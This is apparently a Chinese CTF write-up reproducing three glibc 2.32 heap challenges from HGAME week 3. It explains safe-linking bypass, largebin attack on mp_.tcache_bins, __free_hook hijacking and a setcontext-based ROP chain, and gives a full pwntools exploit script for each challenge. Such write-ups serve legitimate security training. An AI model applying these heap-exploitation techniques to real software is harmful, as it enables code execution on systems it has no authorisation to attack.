HGAME week3 复现

PWN:

safe_note:

2.32加入的异或加密
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx])
PROTECT_PTR操作就是先对pos(next域的堆块地址)右移了12位,再将与原先的指针(在此版本之前fd/next储存的内容)异或得到的结果存入next。
当fastbin或tcachebin只有1个chunk时,next的值为0,此时(pos>>12)^0==(pos>>12)

#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

另外泄露的main_arena+0x60处的地址最高位为\x00需要覆盖为其他值泄露
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./vuln")
# io=remote("node3.anna.nssctf.cn",28133)
libc=ELF("./libc-2.32.so")

def add(n,s):
    io.sendlineafter(b">",b"1")
    io.sendlineafter(b"Index: ",str(n))
    io.sendlineafter(b"Size: ",str(s))
    
def delete(n):
    io.sendlineafter(b">",b"2")
    io.sendlineafter(b"Index: ",str(n))

def edit(n,cc):
    io.sendlineafter(b">",b"3")
    io.sendlineafter(b"Index: ",str(n))
    io.sendlineafter(b"Content: ",cc)
    
def show(n):
    io.sendlineafter(b">",b"4")
    io.sendlineafter(b"Index: ",str(n))

for i in range(8):
    add(i,0x90)
    
add(8,0x10)

for i in range(8):
    delete(i)
    
edit(7,b"")
show(7)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x70-libc.sym[b"__malloc_hook"]-0xa
print("leak_addr:  "+hex(leak_addr))
free_hook=leak_addr+libc.sym[b"__free_hook"]
sys_addr=leak_addr+libc.sym[b"system"]

show(0)
key=u64(io.recv(5).ljust(8,b"\x00"))
heap_addr=key<<12
print("heap_addr:  "+hex(heap_addr))
      
free_hook_key=free_hook^key
edit(6,p64(free_hook_key))

# gdb.attach(io)
# pause()

add(9,0x90)
edit(9,b"/bin/sh")
add(10,0x90)
edit(10,p64(sys_addr))

delete(9)

io.interactive()

large_note:

exp:

#注意0x10字节对齐
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=remote("node2.anna.nssctf.cn",28607)
io=process("./vuln")
libc=ELF("./libc-2.32.so")

def add(n,s):
    io.sendlineafter(b">",b"1")
    io.sendlineafter(b"Index: ",str(n))
    io.sendlineafter(b"Size: ",str(s))
    
def delete(n):
    io.sendlineafter(b">",b"2")
    io.sendlineafter(b"Index: ",str(n))
    
def edit(n,cc):
    io.sendlineafter(b">",b"3")
    io.sendlineafter(b"Index: ",str(n))
    io.sendafter(b"Content: ",cc)
    
def show(n):
    io.sendlineafter(b">",b"4")
    io.sendlineafter(b"Index: ",str(n))
    
add(0,0x520)
add(1,0x600)
add(2,0x510)

delete(0)
edit(0,b"a")
show(0)   #uaf泄露libc

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x61-0x70-libc.sym[b"__malloc_hook"]
print("leak_addr: "+hex(leak_addr))
free_hook=leak_addr+libc.sym[b"__free_hook"]
sys_addr=leak_addr+libc.sym[b"system"]
mp_=leak_addr+0x1e3280   
tc_max_bins=mp_+0x50  #mp_.tcache_bins

edit(0,b"\x00")
add(13,0x900)   #将chunk0分配到largebin

payload=p64(leak_addr+0x1e4030)*2+p64(tc_max_bins-0x20)*2  #注意检查,修改chunk 0的bk_nextsize为tc_max_bins - 0x20处,来达到任意地址写一个堆块地址

edit(0,payload)

delete(2) #分配chunk2 到unsortedbin

add(15,0x900) #分配一个大堆块出发largebin attack

# gdb.attach(io)
# pause()

delete(1)
payload=b"a"*0xe8+p64(free_hook) #固定偏移
edit(0,payload)

add(1,0x600) 

edit(1, p64(sys_addr))

add(6,0x600)
edit(6,b"/bin/sh\x00")
delete(6)  #劫持free_hook为system函数,free掉"/bin/sh"堆块即可

io.interactive()

note_context:

largebin attack+mp_.tcache_bins+setcontext
上一道large_note跟着官方wp走有不少疑惑,不得不吐槽一下让人云里雾里的
这道题认真的走了一遍流程,解决了一些疑惑
开启沙盒,禁用execveexecveat,打orw
菜单题功能齐全,但是申请堆块大小范围在largebin中
本题攻击mp_.tcache_bins,largebin attack实现任意地址写
可以申请到mp_.tcache_bins处,此时可见一个堆地址覆盖了原来的0x40(tcachebin数量)

因此之后释放的在largebin大小范围的堆块也会被tcachebin管辖
因此可以打tcachebin posioning,可以劫持__free_hook
由于只能打orw,glibc 2.32版本下选择使用setcontext+61劫持程序流
mov rsp,[rdx+0A0h]可以劫持rsp寄存器,进而达到控制程序流的目的
而我们使用另外一个gadget:


mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ;
call qword ptr [rdx + 0x20]

可以实现调用[rdx+0x20]处的指令的作用,
调用__free_hook时将传入的地址作为第一个参数传入rdi
因此我们可以将要delete的堆块中填入p64(0)+p64(addr),将addr的值传入rdx寄存器中,最终调用[addr+0x20]的指令,向该地址填入setcontext+61的地址
在当前payload的0xa0偏移处布置orw地址,可以劫持rsp寄存器到orw rop链上,不要忘了orw后跟个ret地址来弹栈执行

此题需要注意申请堆块大小在largebin范围内,而tcachebin->next的指针异或加密在每0x1000的范围内相同(>>12正好抹去末三位),所以大于0x1000的情况很容易出现,因此可以直接用next指针异或目标地址来绕过检查

mp_.tcache_bins的偏移可以直接vmmap找出堆基址
然后使用search -8 堆基址
在libc.so上的地址+0x8即是真实地址
偏移dist即可

exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=remote("node3.anna.nssctf.cn",28878)
io=process("./vuln")
elf=ELF("./vuln")
libc=ELF("./libc-2.32.so")

#sandbox on  
def add(n,s):
    io.sendlineafter(b">",b"1")
    io.sendlineafter(b"Index: ",str(n))
    io.sendlineafter(b"Size: ",str(s))
    
def delete(n):
    io.sendlineafter(b">",b"2")
    io.sendlineafter(b"Index: ",str(n))
    
def edit(n,cc):
    io.sendlineafter(b">",b"3")
    io.sendlineafter(b"Index: ",str(n))
    io.sendafter(b"Content: ",cc)
    
def show(n):
    io.sendlineafter(b">",b"4")
    io.sendlineafter(b"Index: ",str(n))
    
# gdb.attach(io)
# pause()

### leak libc
add(0,0x560) #0
add(14,0x540) #14
add(1,0x540) #1
delete(0)
edit(0,b"A")
show(0)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-65-0x70-libc.sym[b"__malloc_hook"]
print("leak_addr: ",hex(leak_addr))
###

malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
setcontext_61=leak_addr+libc.sym[b"setcontext"]+61
mprotect=leak_addr+libc.sym[b"mprotect"]
mp_=leak_addr+0x1e32d0
open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
pop_rsi=leak_addr+0x2ac3f
pop_rdi=leak_addr+0x2858f
pop_rdx_r12=leak_addr+0x114161
pop_rax=leak_addr+0x45580
ret=leak_addr+0x26699

magic_gadget=leak_addr+0x14b760 
'''
mov rdx, qword ptr [rdi + 8] ;
mov qword ptr [rsp], rax ;
call qword ptr [rdx + 0x20]
'''

### leak heap
edit(0,b"\x00")
add(2,0x900) #2
edit(0,b"A"*0xf+b"B")
show(0)
io.recvuntil(b"B")
heap_addr=u64(io.recv(6).ljust(8,b"\x00"))-0x290
key=heap_addr>>12
ck_next=heap_addr+0x24d0
print("heap_addr: ",hex(heap_addr))
print("key: ",hex(key))
###


### largebin attack
payload=p64(leak_addr+libc.sym[b"__malloc_hook"]+0x70)*2
payload+=p64(mp_-0x20)*2
edit(0,payload)

delete(1)
add(3,0x900) #3
###

### hijack __free_hook
add(4,0x900) #4
add(5,0x900) #5

delete(5)
delete(4)
edit(4,p64((ck_next>>12)^free_hook))
add(4,0x900)
add(5,0x900)
edit(5,p64(magic_gadget))
###
stack_addr=heap_addr+0x36f0
orw_addr=heap_addr+0x3f00


#open
orw=p64(pop_rdi)+p64(stack_addr)+p64(pop_rsi)+p64(0)+p64(open_a)
#read
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr+0x5000)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(read_a)
#write
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr+0x5000)+p64(pop_rdx_r12)+p64(0x50)+p64(0)+p64(write_a)


stack=b"./flag\x00\x00"+p64(0)*3+p64(setcontext_61)
stack=stack.ljust(0xa0,b"\x00")
stack+=p64(orw_addr)+p64(ret)

add(6,0x800) #6
edit(6,stack)

add(7,0x800) #7
edit(7,orw)

# gdb.attach(io)
# pause()

add(8,0x700) #8
edit(8,p64(0)+p64(stack_addr))
delete(8)

io.interactive()